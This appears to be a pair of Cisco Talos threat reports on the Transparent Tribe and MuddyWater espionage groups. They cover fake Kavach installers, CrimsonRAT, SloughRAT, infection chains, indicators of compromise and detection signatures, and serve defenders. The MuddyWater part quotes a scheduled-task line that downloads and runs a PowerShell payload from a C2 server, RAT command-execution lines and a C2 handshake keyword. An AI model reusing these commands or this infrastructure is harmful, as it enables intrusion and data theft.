by government personnel, as it allows employees (including military personnel) to access the Indian government's I.T. resources, such as email services. The droppers are .NET-based executables. They begin execution by checking if the timezone on the infected endpoint contains keywords such as "India." A splash screen is displayed to the victim notifying them that the Kavach application is being installed: Fake installation splash screen The downloaders will then reach out to a malicious website, masquerading as a legitimate Indian government or pseudo-government entity, to download a malicious payload that is then activated on the endpoint. 3/23 Next, download a legitimate copy of the Kavach application's MSI installer from yet another attacker-controlled website and execute it to make the whole attack chain appear legitimate. Downloader fetching and executing malicious payload and legitimate installer for Kavach. Additional variant Another variation of the initial infection vector used in the campaign is a notably large downloader binary (141MB) that contains the entire legitimate installer (MSI) for the Kavach application in its resources. The zipped copy of the MSI is extracted from the downloader's resources and executed on the system as a decoy to appear legitimate to the targets. The actual implant is then downloaded from a remote location, AES-decrypted using a hardcoded key, written to disk and executed on the infected endpoint. 4/23 The second variant of the downloader downloads and decrypts the payload from a remote location. A timeline of older variants As early as June 2021, the attackers primarily used malicious documents (maldocs) as an initial infection vector to deliver the malicious downloaders. This vector consisted of a malicious macro that would download and activate the downloader on the infected endpoint. This practice continued into July 2021. However, beginning with June 2021, there was also a steady evolution in the distribution tactics used in this campaign. Around this time, we began observing the use of nontraditional initial entry mechanisms throughout the course of this campaign, suggesting a clear intention of aggressively infecting targets for espionage. For instance, in June 2021, the attackers used IMG files for distribution, containing multiple infection artifacts all COVID-19 themed to trick targets into getting infected. Wrapping malware in IMG files is a tactic gaining traction with crimeware operators and APTs as a way to deliver malware to victims since newer versions of the Windows OS natively support IMG files. Malicious IMG distributed by Transparent Tribe. The malicious image consists of four files: Malicious Python-based stager. Decoy PDF document containing a COVID-19-themed lure. VBS file for executing the stager and displaying the decoy. Malicious LNK file for activating the VBS on the endpoint. 5/23 6/23 In September 2021, the actors switched up their initial infection artifact and used VHDX files delivering the malicious droppers. VHDX files do not retainMark Of the Web (MOTW) stamps and thus artifacts such as maldocs, delivered through these wrappers aren't identified as originating from the internet by Microsoft utilities such as Word, Excel etc. - allowing the attackers to run malicious code on the endpoint without any Microsoft warnings. The variant of the downloaders used here, previously disclosed by Cyble, masqueraded as an app from the Canteen Stores Department (CSD) of the Government of India. On execution, this variant would open the legitimate website for CSD on the target's system. However, as seen previously with Transparent Tribe, the threat actors continued the development of similar infection chains consisting of various themes to distribute their malware without regard for any previous public disclosures. The threat actor then introduced the use of RAR archives to distribute malicious malware in November 2021. The RAR archive consisted of the downloader, this time downloading a highly specific decoy PDF containing the work history of an Indian government official. The RAR archives are typically password-protected and hosted on public media sharing websites. Therefore, it is highly likely that Transparent Tribe used spearphishing emails to deliver download URLs for the archives to their targets via emails containing the passwords for the archives. Timeline of evolution of entry vectors: 7/23 Implant analyses CrimsonRAT CrimsonRAT is a popular malware RAT implant that consists of a wide variety of capabilities. It is the staple implant of choice for Transparent Tribe to establish long-term access into victim networks. This RAT is actively worked upon and has seen considerable updates over the years in not just the development of new capabilities, but also to obfuscate the implant by the APT group. The latest version of CrimsonRAT seen in this campaign in January and February 2022 contains a number of capabilities, including: List files and folders in a directory path specified by the C2. Run specific processes on the endpoint keylogger and USB modules. List process IDs and names running on the endpoint. Get information such as name, creation times and size of image files (pictures such as BMP, JPG etc.) specified by the C2. Take screenshots of the current screen and send it to C2. Upload keylogger logs from a file on disk to the C2. 8/23 Send system information to C2 including: Computername, username, Operating System name, filepath of implant, parent folder path. Indicator of whether the keylogger module is in the endpoint and running and its version. Indicator of whether the USB module is in the endpoint and running and its version. Run arbitrary commands on the system. Write data sent by C2 to a file on disk. Read contents of a file on disk and exfiltrate to C2. List all drives on the system. List all files in a directory. Download the USB worm and keylogger modules from the C2 and write them to disk. Send a file's name, creation time and size to the C2- file path is specified by the C2. Delete files specified by the C2 from the endpoint. Get names, creation times and size of all files containing the file extension specified by the C2. 9/23 Code Snippet: CrimsonRAT command handler. Seen in: Jan-Feb 2022: Deployed by Kavach-themed downloaders. Lightweight implant A new lightweight, .NET-based implant was also seen in this campaign in several infection chains. This implant has limited capabilities when compared to CrimsonRAT but contains enough functionality to control and monitor the infected system. Capabilities include: List all running processes on the endpoint. Download and execute a file from the C2. Download and execute a file specified by the C2 from another remote location. 10/23 Close connection with the C2 until the next run. Gather system information from the endpoint such as Computer Name, username, public and local IPs, Operating system name, list of runnings AVs, device type (desktop or laptop). The implant also persists via an InternetShortcut in the current user's Startup directory. Implant downloading and executing a file from a remote location. Seen in: Jan-Feb 2022: Deployed by Kavach-themed downloaders. November 2021: Seen in infection chains using RAR archives hosted on CMS. September 2021: Deployed by CSD-themed downloaders. Python-based stagers We've also observed the use of Python-based stagers throughout this campaign. These stagers are pyinstaller-based EXEs and consist of the following functionalities: Collect system information from the endpoint consisting of all running process names, computername and OS name and send it to a remote C2 URL. Drops one of two embedded files: A malicious DLL used to activate a recon tool in the current user's Startup folder based on whether the endpoint is Windows 7 or not. Parse responses from the C2 to obtain data that is then written to a file to disk. All the relevant information used in the functioning of the stager is kept in a separate Python file. 11/23 Stager configuration information. Seen in: June 2021: Maldocs. June 2021: IMG files. Embedded implant The embedded implants deployed by the python based stager will simply activate a malicious DLL existing on disk by loading and running it in the embedded implant's process. The DLL loaded is the actual malicious reconnaissance tool used by the attackers. Recon tool The DLL implant will first send a beacon to the C2 server URL to indicate that it has been successfully deployed. The C2 server must reply with a specific keyword such as "onlyparanoidsurvive" for the implant to start accepting commands from another C2 URL. The implant will first send a list of all files in the current user's Cookie directory to the C2. In response, the C2 may send the "senddevices" command to the implant. If this command is received, the implant will send the following data to a third C2 URL: OS Caption from CIM_OperatingSystem. All local IP addresses of the infected endpoint. Device type desktop or laptop. Product version of the executable in which the DLL has been loaded. 12/23 Implant gathering system information for exfiltration to the C2. The implant will then proceed to get executables from the remote C2 server that are then executed on the infected endpoint. 13/23 Helper DLL used to execute binaries on the endpoint. Targeting and attribution This campaign saw the use of multiple types of lures and decoys to target Indian government personnel. This is a targeting tactic typical of groups operating under the Pakistani nexus of APT groups, such as Transparent Tribe and SideCopy. For example, in July 2021, we saw the attackers use themes related to the 7th Indian Central Pay Commission (7th CPC) for government employees in maldocs to deliver the Pythonbased stager that deployed malware on the infected endpoints. Transparent Tribe will frequently use the 7th CPC as a topic of interest to trick victims into opening maldocs and infecting themselves. 14/23 Maldoc with 7th CPC themes. We also saw the use of COVID-themed lures and decoys containing advisories primarily targeting employees of the government of India. This is another tactic that the Transparent Tribe has utilized in past operations. 15/23 COVID-19-themed decoy used against government employees. Over the past year, we have observed this threat actor heavily utilize women's resumes to target individuals of interest. This is inline with their tactic of honey trapping targets by using such malicious resumes and executables that display alluring pictures. This campaign, however, used a similar yet distinct theme. Instead of resumes, we observed the use of a decoy document in November 2021 that detailed a male Indian Ministry of Defence (MoD) employee's work experience. 16/23 Service history of an MoD official used as a lure/decoy. Another TTP used by Transparent Tribe in their operations is the cloning of legitimate websites into fake ones owned and operated by the attackers. These fake websites are used along with typo-squatted or similarly spelled domains to appear legitimate but serve malicious artifacts as part of the attackers' infection chains. One such example in this campaign is the malicious domain dsoi[.]info. This domain is a direct copy of the legitimate website of the Defence Service Officers' Institute (DSOI) of India, created by cloning content using HTTrack, a free website copier program. We've seen this tactic (cloning legitimate websites using HTTrack) used by Transparent Tribe in the past to deliver ObliqueRAT malware payloads around mid-2021. 17/23 Transparent Tribe commonly uses malicious artifacts against Indian targets, masquerading as legitimate applications maintained by the government of India. In September 2021, Talos disclosed Operation Armor Piercer, which consisted of the use of themes pertaining to the Kavach MFA application to spread commodity RATs. The SideCopy APT group also uses trojans such as MargulasRAT pretending to be a VPN application for India's National Informatics Centre (NIC). This new campaign from Transparent Tribe also saw fake installers for the Kavach application being used to deploy CrimsonRAT and other malware. The use of CrimsonRAT in operations such as these is expected of Transparent Tribe. It has been seen in the wild for years and is the tool of choice for the threat actors in campaigns that cast a relatively wide net for targeting their victims. This is unlike ObliqueRAT, which is used in highly targeted operations by Transparent Tribe. The use of new bespoke malware in addition to the RATs indicates the group is diversifying their malware portfolio to achieve an even greater degree of success. In another common trend, we have also observed Transparent Tribe quickly develop and deploy bespoke, small and lightweight stagers and downloaders that can be modified with relative ease (and discarded if needed), leading to the deployment of their actual implants meant to provide long term access into their targets' networks and systems. Conclusion Transparent Tribe has been a highly active APT group in the Indian subcontinent. Their primary targets have been government and military personnel in Afghanistan and India. This campaign furthers this targeting and their central goal of establishing long term access for espionage. The use of multiple types of delivery vehicles and file formats indicates that the group is aggressively trying to infect their targets with their implants such as CrimsonRAT. They have continued the use of fake domains masquerading as government and quasigovernment entities, as well as the use of generically themed content-hosting domains to host malware. Although not very sophisticated, this is an extremely motivated and persistent adversary that constantly evolves tactics to infect their targets. Organizations should remain vigilant against such threats, as they are likely to proliferate in the future. In-depth defense strategies based on a risk analysis approach can deliver the best results in the prevention. However, this should always be complemented by a good incident response plan which has been not only tested with tabletop exercises and reviewed and improved every time it's put to the test on real engagements. Coverage Ways our customers can detect and block this threat are listed below. 18/23 Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here. 19/23 Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here. Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs: 59222-59223 The following ClamAV signatures available for protection against this threat: Vbs.Downloader.Agent-9940743-0 Win.Downloader.TransparentTribe-9940744-0 Win.Trojan.MargulasRAT-9940745-0 Win.Downloader.Agent-9940746-0 Win.Trojan.MSILAgent-9940762-1 Win.Trojan.PythonAgent-9940791-0 Lnk.Trojan.Agent-9940793-0 Win.Trojan.TransparentTribe-9940795-0 Win.Trojan.TransparentTribe-9940801-0 Win.Downloader.TransparentTribe-9940802-0 Orbital Queries Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries on this threat, click below: Downloader Maldoc 20/23 Python stagers IOCs Maldocs 15b90d869b4bcc3cc4b886abbf61134e408088fdfbf48e9ab5598a4c80f6f4d8 d2113b820db894f08c47aa905b6f643b1e6f38cce7adf7bf7b14d8308c3eaf6e Downloaders b0ecab678b02fa93cf07cef6e2714698d38329931e5d6598b98ce6ee4468c7df 2ca028a2d7ae7ea0c55a1eeccd08a9386f595c66b7a0c6099c0e0d7c0ad8b6b8 9d4e6da67d1b54178343e6607aa459fd4d711ce372de00a00ae5d81d12aa44be 2b32aa56da0f309a6cd5d8cd8b3e125cb1b445b6400c3b22cf42969748557228 1ba7cf0050343faf845553556b5516d96c7c79f9f39899839c1ca9149cf2d838 84841490ea2b637494257e9fe23922e5f827190ae3e4c32134cadb81319ebc34 dd23162785ed4e42fc1abed4addcab2219f45c802cccd35b2329606d81f2db71 4d14df9d5fa637dae03b08dda8fe6de909326d2a1d57221d73ab3938dfe69498 2bb2a640376a52b1dc9c2b7560a027f07829ae9c5398506dc506063a3e334c3a aadaa8d23cc2e49f9f3624038566c3ebb38f5d955b031d47b79dcfc94864ce40 b3bc8f9353558b7a07293e13dddb104ed6c3f9e5e9ce2d4b7fd8f47b0e3cc3a5 5911f5bd310e943774a0ca7ceb308d4e03c33829bcc02a5e7bdedfeb8c18f515 Lightweight implant f66c2e249931b4dfab9b79beb69b84b5c7c4a4e885da458bc10759c11a97108f 011bcca8feebaed8a2aa0297051dfd59595c4c4e1ee001b11d8fc3d97395cc5c 5c341d34827c361ba2034cb03dea665a873016574f3b4ff9d208a9760f61b552 d9037f637566d20416c37bad76416328920997f22ffec9340610f2ea871522d8 124023c0cf0524a73dabd6e5bb3f7d61d42dfd3867d699c59770846aae1231ce CrimsonRAT 67ad0b41255eca1bba7b0dc6c7bd5bd1d5d74640f65d7a290a8d18fba1372918 a0f6963845d7aeae328048da66059059fdbcb6cc30712fd10a34018caf0bd28a Python based downloaders b9fea0edde271f3bf31135bdf1a36e58570b20ef4661f1ab19858a870f4119ba dc1a5e76f486268ca8b7f646505e73541e1dc8578a95593f198f93c9cd8a5c8d 99e6e510722068031777c6470d06e31e020451aa86b3db995755d1af49cc5f9e 21/23 Intermediate artifacts 892a753f31dadf1c6e75f1b72ccef58d29454b9f4d28d73cf7e20d137ce6dd8d c828bccfc34f16983f624f00d45e54335804b77dd199139b80841ad63b42c1f3 0d3f5ca81f62b8a68647a4bcc1c5777d3e865168ebb365cab4b452766efc5633 a0964a46212d50dbbbbd516a8a75c4764e33842e8764d420abe085d0552b5822 4162eaeb5826f3f337859996fc7f22442dd9b47f8d4c7cf4f942f666b1016661 e3e9bbdaa4be7ad758b0716ee11ec67bf20646bce620a86c1f223fd2c8d43744 56f04a39103372acc0f5e9b01236059ab62ea3d5f8236280c112e473672332b1 08603759173157c2e563973890da60ab5dd758a02480477e5286fccef72ef1a2 2043e8b280ae016a983ecaea8e2d368f27a31fd90076cdca9cef163d685e1c83 adc8e40ecb2833fd39d856aa8d05669ac4815b02acd1861f2693de5400e34f72 adaf7b3a432438a04d09c718ffddc0a083a459686fd08f3955014e6cf3abeec1 VHDX 5e645eb1a828cef61f70ecbd651dba5433e250b4724e1408702ac13d2b6ab836 Domains zoneflare[.]com secure256[.]net directfileshare[.]net dsoi[.]info download[.]kavach-app[.]in kavach-app[.]in otbmail[.]com URLs hxxp://directfileshare[.]net/DA-Updated.xls hxxp://directfileshare[.]net/dd/m.exe hxxp://download[.]kavach-app[.]in/Kavach.msi hxxp://dsoi[.]info/downloads/chrmeziIIa.exe 22/23 hxxp://iwestcloud[.]com/Pick@Whatsoever/Qu33nRocQCl!mbing.php hxxp://iwestcloud[.]com/Pick@Whatsoever/S3r&eryvUed.php hxxp://iwestcloud[.]com/Pick@Whatsoever/S3r&eryvUed.php" hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/Cert.php hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/Cor2PoRJSet!On.php hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/Dev3l2Nmpo7nt.php hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/f3dlPr00f.php hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/xwunThedic@t6.php" hxxp://zoneflare[.]com/R!bB0nBr3@k3r/FunBreaker.php hxxp://zoneflare[.]com/R!bB0nBr3@k3r/tallerthanhills.php" hxxp://zoneflare[.]com/R!bB0nBr3@k3r/zoneblue/mscontainer.dll hxxps://drive[.]google[.]com/uc?export=download&id=1kMeI1R7sthlqWaPrp8xiNcQLjbKY9qf hxxps://kavach-app[.]in/auth/ver4.mp3 hxxps://secure256[.]net/pdf/ServicedetailforDARevision.pdf hxxps://secure256[.]net/ver4.mp3 hxxps://zoneflare[.]com/uipool.scr 23/23 Iranian linked conglomerate MuddyWater comprised of regionally focused subgroups blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html By Asheer Malhotra, Vitor Ventura and Arnaud Zobec. Cisco Talos has observed new cyber attacks targeting Turkey and other Asian countries we believe with high confidence are from groups operating under the MuddyWater umbrella of APT groups. U.S. Cyber Command recently connected MuddyWater to Iran's Ministry of Intelligence and Security (MOIS). These campaigns primarily utilize malicious documents (maldocs) to deploy downloaders and RATs implemented in a variety of languages, such as PowerShell, Visual Basic and JavaScript. Another new campaign targeting the Arabian peninsula deploys a WSF-based RAT we're calling "SloughRAT", identified as an implant called "canopy" by CISA in their advisory released in late February. Based on a review of multiple MuddyWater campaigns, we assess that the Iranian APT is a conglomerate of multiple teams operating independently rather than a single threat actor group. The MuddyWater supergroup is highly motivated and can use unauthorized access to conduct espionage, intellectual property theft and deploy ransomware and destructive malware in an enterprise. Executive summary 1/22 Cisco Talos has identified multiple campaigns and tools being perpetrated by the MuddyWater APT group, widely considered to be affiliated with Iranian interests. These threat actors are considered extremely motivated and persistent when it comes to targeting victims across the globe. Talos disclosed a MuddyWater campaign in January targeting Turkish entities that leveraged maldocs and executable-based infection chains to deliver multistage, PowerShell-based downloader malware. This group previously used the same tactics to target other countries in Asia, such as Armenia and Pakistan. In our latest findings, we discovered a new campaign targeting Turkey and the Arabian peninsula with maldocs to deliver a Windows script file (WSF)-based remote access trojan (RAT) we're calling "SloughRAT" an implant known by "canopy" in CISA's most recent alert from February 2022 about MuddyWater. This trojan, although obfuscated, is relatively simple and attempts to execute arbitrary code and commands received from its command and control (C2) servers. Our investigation also led to the discovery of the use of two additional script-based implants: one written in Visual Basic (VB) (late 2021 - 2022) and one in JavaScript (2019 - 2020), which also downloads and runs arbitrary commands on the victim's system. MuddyWater's variety of lures and payloads along with the targeting of several different geographic regions strengthens our growing hypothesis that MuddyWater is a conglomerate of sub-groups rather than a single actor. These sub-groups have conducted campaigns against a variety of industries such as national and local governments and ministries, universities and private entities such as telecommunication providers. While these teams seem to operate independently, they are all motivated by the same factors that align with Iranian national security objectives, including espionage, intellectual theft, and destructive or disruptive operations based on the victims they target. A variety of campaigns analyzed are marked by the development and use of distinct infection vectors and tools to gain entry, establish long-term access, siphon valuable information and monitor their targets. The MuddyWater teams appear to share TTPs, as evidenced by the incremental adoption of various techniques over time in different MuddyWater campaigns. We represent this progression in a detailed graphic in the first main section of this blog. MuddyWater threat actor MuddyWater, also known as "MERCURY" or "Static Kitten," is an APT group the U.S. Cyber Command recently attributed to Iran's Ministry of Intelligence and Security (MOIS). This 2/22 threat actor, active since at least 2017, frequently conducts campaigns against high-value targets in countries in North America, Europe and Asia. MuddyWater campaigns typically fall into one of the following categories: Espionage: Collecting information on adversaries or regional partners that can benefit Iran by helping to advance its political, economic, or national security interests. Intellectual property theft: Stealing intellectual property and other proprietary information can benefit Iran in a variety of ways, including helping Iranian businesses against their competitors, influencing economic policy decisions at the state level, or informing government-related research and design efforts, among others. These campaigns target private and government entities, such as universities, think tanks, federal agencies, and various industry verticals. Ransomware attacks: MuddyWater has previously attempted to deploy ransomware, such as Thanos, on victim networks to either destroy evidence of their intrusions or disrupt operations. MuddyWater frequently relies on the use of DNS to contact their C2 servers, while the initial contact with hosting servers is done via HTTP. Their initial payloads usually use PowerShell, Visual Basic and JavaScript scripting along with living-off-the-land binaries (LoLBins) and remote connection utilities to assist in the initial stages of the infection. MuddyWater likely comprised of multiple sub-groups We assess that MuddyWater is a conglomerate of smaller teams, with each team using different targeting tactics against specific regions of the world. They appear to share some techniques and evolve them as needed. This sharing is possibly the result of contractors that move from team to team, or the use of the same development and operational contractors across each team. The latter also explains why we have seen simple indicators such as unique strings and watermarks shared between MuddyWater and the Phosphorus (aka APT35 and Charming Kitten) APT groups. These groups are attributed to different Iranian state organizations the MOIS and IRGC, respectively. Based on new information and a review of MuddyWater threat activity and TTPs, we can link together the attacks covered in our January 2022 MuddyWater blog with this most recent campaign targeting Turkey and other Asian countries. The graphic below shows the overlap in TTPs and regional targeting between the various MuddyWater campaigns, which suggests these attacks are distinct, yet related, clusters of activity. While some campaigns initially appeared to leverage new TTPs that seemed unrelated to other operations, we later found that they instead demonstrated a broader TTP-sharing paradigm, typical of coordinated operational teams. 3/22 Tracing MuddyWater's activity over the last year, we see that some of the shared techniques seem to be refined from one region to the other, suggesting the teams use their preferred flavors of tools of choice, including final payloads. The above timeline also shows the incremental usage of certain techniques in different campaigns over time, suggesting that they are tested and improved before being implemented in future operations. The first two techniques we see being implemented and then shared in future operations are signaling tokens and an executable dropper. We first observed the usage of tokens for signaling in April 2021 in a campaign against Pakistan via a simple dropper that downloads the "Connectwise" remote administration tool. Later, in June, we see the first usage of the executable dropper against Armenia (described in detail in our previous post). The dropped payload is a PowerShell script that loads another PowerShell script that downloads and executes a final PowerShell-based payload. 4/22 The two techniques were then combined later in August 2021 in a campaign targeting Pakistan, this time still using the homemade tokens. Later, the actors graduated to a more professional implementation of the token by using canarytokens[.]com's infrastructure. canarytokens[.]com is a legitimate service that MuddyWater uses to make their operations appear less suspicious. These techniques were next leveraged in a November 2021 campaign targeting Turkey in the campaign we described in our January blog. In these attacks on Turkey, MuddyWater used maldocs with tokens and the same executable droppers previously seen targeting Armenia and Pakistan. In March 2021, we observed MuddyWater using the Ligolo reverse-tunneling tool in attacks on Middle Eastern countries. This tactic was later reused in December 2021, along with the introduction of a new implant. Beginning in December 2021, we observed MuddyWater using a new WSF-based RAT we named "SloughRAT" to target countries in the Arabian Peninsula, which is described in more detail later in this blog. During our investigation, we discovered another version of SloughRAT being deployed against entities in Jordan. This attack included the deployment of Ligolo a MuddyWater tactic also corroborated by Trend Micro in March 2021 following the deployment of SloughRAT. All these attacks show an interesting pattern: Multiple commonalities in some key infection artifacts and TTPs, while retaining enough operational distinctions. This pattern can be broken down into the following practices: The introduction of a TTP in one geography, a delay of typically two or three months, then the reuse of that same TTP in a completely different geography, alongside other proven TTPs borrowed from campaigns conducted in another geography. The introduction of at least one new TTP completely novel to MuddyWater's tactics in almost every geographically distinct campaign. These observations strongly indicate that MuddyWater is a group of groups, each responsible for targeting a specific geography. Each is also responsible for developing novel infection techniques while being allowed to borrow from a pool of TTPs tested in previously separate campaigns. Campaigns Tying together previous MuddyWater campaigns In our previous post, we disclosed two campaigns using the same types of Windows executables one targeting Turkey in November 2021 and one from June 2021 targeting 5/22 Armenia. Another campaign illustrated previously used similar executables, this time to target Pakistan. This campaign deployed a PowerShell-based downloader on the endpoint to accept and execute additional PS1 commands from the C2 server. Going further back, in April 2021, we observed another instance of Muddywater targeting entities in Pakistan, this time with a maldoc-based infection vector. The lure document claimed to be part of a court case, as the image below shows. 6/22 Malicious lure containing a blurred image of the state emblem of Pakistan and referring to a court case. In this case, however, the attackers attempted to deploy the Connectwise Remote Access client on the target's endpoints, a tactic commonly used by MuddyWater to gain an initial foothold on targets' endpoints. In the attacks deploying the RAT in April 2021 and the EXE-based infection vector from August 2021, the maldocs and decoy documents reached out to a common server to download a common image file that links them. These campaigns used a homemade implementation of signaling tokens. In this case, the maldocs have an external entity downloaded from an attacker-controller server. This entity consists in a simple image which has no malicious content. The same base URL is employed in both campaigns: hxxp://172.245.81[.]135:10196/Geq5P3aFpaSrK3PZtErNgUsVCfqQ9kZ9/ However, the maldoc appends the additional URL extension "ef4f0d9af47d737076923cfccfe01ba7/layer.jpg" while the decoy appends "/Panop/gallery.jpg". This may be a way for the attackers to track their initial infection vector and determine which one is more successful. It is highly likely that the attackers used this server as a token tracker to keep track of successful infections in this campaign. This token-tracking system was then migrated to CanaryTokens in September 2021 in the attacks targeting Turkey using the malicious Excel documents. MuddyWater Middle East campaign using maldocs SloughRAT During a recent IR engagement, Talos observed multiple instances of malicious documents (maldocs) specifically XLS files distributed by MuddyWater. These XLS files were observed targeting the Arabian peninsula through a recent phishing campaign. The maldoc consists of a malicious macro that drops two WSF files on the endpoint. One of these scripts is the instrumentor script meant to execute the next stage. This instrumentor script is placed in the current user's Startup folder by the VBA macro to establish persistence across reboots. The second script is a WSF-based RAT we call "SloughRAT" that can execute arbitrary commands on the infected endpoint. This RAT consists of obfuscated code from interweaved Visual Basic and JavaScript. 7/22 Excel document that drops the Outlook.wsf file. WSF-based instrumentor script At first glance, the instrumentor script looks complicated because of its obfuscation. However, at its core, the script is solely meant to execute the next stage WSF RAT payload. At runtime, the code deobfuscates two key components for the next stage: Path to the RAT script that's hard-coded but obfuscated. The de-facto key in the RAT that triggers the malicious code to call. This data is then used to make a call to the WSF-based RAT: cmd.exe /c 8/22 Deobfuscation of persistence. SloughRAT analysis The WSF implant has several capabilities. The script uses multilayer obfuscation to hide its true extensions. The screenshots below are the result of the analysis and are deobfuscations for better comprehension. The RAT script needs a function name as an argument to execute correctly and perform its malicious activities. This name is provided by the instrumentor script and could be a method of thwarting automated dynamic analysis, since submitting the RAT script in isolation without the function name as an argument will result in a failed run of the sample in a sandbox. Preliminary information gathering and infection registration The RAT script begins execution by performing a WMI query to record the IP address of the infected endpoint. Deobfuscation of discovery capabilities. It will then get the user and computer names by querying the environment variables: %COMPUTERNAME% %USERNAME% 9/22 Deobfuscation of discovery capabilities. This system information is then concatenated using a delimiter and encoded to register the infected system with the C2 server hardcoded into the implant. Format: |!)!)!|%ComputerName%/%USERNAME% RAT capabilities This RAT's capabilities are relatively simple, aside from the information-gathering capabilities described previously. Once the infection is registered with the C2 server, the implant will receive a command code from the C2 server. The implant uses two different URLs: One is used to register the implant and request arbitrary commands from the C2. Another that is used to POST the results of the commands executed on the infected endpoint. The communication with the C2 is done using the common ServerXMLHTTP from the MSXML2 API to instrument an HTTP POST request. The time between each request is randomized, which makes the malware stealthier and can bypass some sandboxes. 10/22 Deobfuscation of HTTP request construction. Any data sent to the C2 server is in the format of HTTP forms accompanied by relevant headers, like: Content-Type Content-Length CharSet. First, the script sends the system information to the first C2 URL, by encoding the message, and sending it via POST request, inside the parameter "vl" using the following format: |!)!)!|%ComputerName%/%USERNAME% Then, the server returns a UID constructed via concatenation of the server IP and an UUIDv4. 11/22 For example, the UID 5-199-133-149- is stored in a variable and sends keep-alive messages to request commands from the C2. Then, this UID is sent through "vl" parameters inside a POST HTTP request to another C2 URL. When the server receives this UID, it returns an encoded message that the script interprets. The message can be: "ok": Do nothing and send the UID again (like a keep-alive). 12/22 "401": This order cleans the UID variable and forces the script to request another UID, by sending a request to the first URI. A command to execute that starts the command execution routine. A command received from the C2 server will be executed using the command line utility. Its output is recorded in a temporary file on disk in a location such as "%TEMP%\stari.txt". This data is then immediately read and sent out to the C2. The message will have the following format: |!)!)!| Commands are executed using the command line: cmd.exe /c >> Deobfuscation of command execution routine. The attackers used another version of SloughRAT, which isn't as obfuscated as the version illustrated earlier, this time targeting entities in the Arabian peninsula. The overall functionality used in this instance is the same with minor modifications in file paths, delimiters, etc. 13/22 Version No. 2 of the WSF RAT minor changes only. The attackers utilized SloughRAT to deploy Ligolo, an open-source reverse-tunneling tool to gain a greater degree of control over the infected endpoints. This tactic observed is in sync with previous findings from Trend Micro. Overall infection chain: 14/22 VBS-based downloaders In another instance, we observed the deployment of VBS-based malicious downloaders in December 2021 and through January 2022 via malicious scheduled tasks set up by the attackers. The scheduled task would look something like this: SchTasks /Create /SC ONCE /ST 00:01 /TN /TR powershell -exec bypass -w 1 Invoke-WebRequest -Uri '' -OutFile ; wscript.exe These tasks download and parse content from the C2 server and execute it on the infected endpoint. The output of the command would be written to a temporary file in the %APPDATA% directory and subsequently read and exfiltrated to the C2. The complete infection chain of these VBS-based downloaders is currently unknown. 15/22 VBS-based downloader. Older campaign using JS-based downloaders An older campaign operated by MuddyWater toward the end of November 2019 and into 2020 utilized maldocs and a convoluted chain of obfuscated scripts to deploy a JavaScriptbased downloader/stager on the infected endpoint. This campaign also appears to target Turkish users. The maldoc contains a macro that would drop a malicious obfuscated VBS in a directory on the system. The macros would then create persistence for the VBS via the Registry Run key of the current user. This VBS is responsible for deobfuscating the next payloads and executing 16/22 them on the endpoint. This execution culminated into a malicious JS downloader being executed on the system to download and execute commands. 17/22 JS-based downloader. 18/22 Conclusion Cisco Talos has observed Iranian APT groups conducting malicious operations and activities all over the world for years. Particularly, 2021 was prolific in cybersecurity incidents for Iran where state-run organizations were targeted. These events were attributed to Western nations by the Iranian regime, with the promise of revenge. It's hard to say if these campaigns are the result of such promises or just part of these groups' usual activity. However, the fact that they have changed some of their methods of operation and tools is yet another sign of their adaptability and unwillingness to refrain themselves from attacking other nations. We believe there are links between these different campaigns, including the migration of techniques from region to region, along with their evolution into more advanced versions. Overall, the campaigns we describe cover Turkey, Pakistan, Armenia and countries from the Arabian peninsula. While they share certain techniques, these campaigns also denote individuality in the way they were conducted, indicating the existence of multiple sub-teams beneath the Muddywater umbrella all sharing a pool of tactics and tools to pick and choose from. In-depth defense strategies based on a risk analysis approach can deliver the best results in protecting against such a highly motivated set of threat actors. However, this should always be complemented by a good incident response plan which has not only been tested with table top exercises, but also reviewed and improved every time it is put to the test on real engagements. Coverage Ways our customers can detect and block this threat are listed below. 19/22 Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here. Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. 20/22 Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device. Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here. Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest 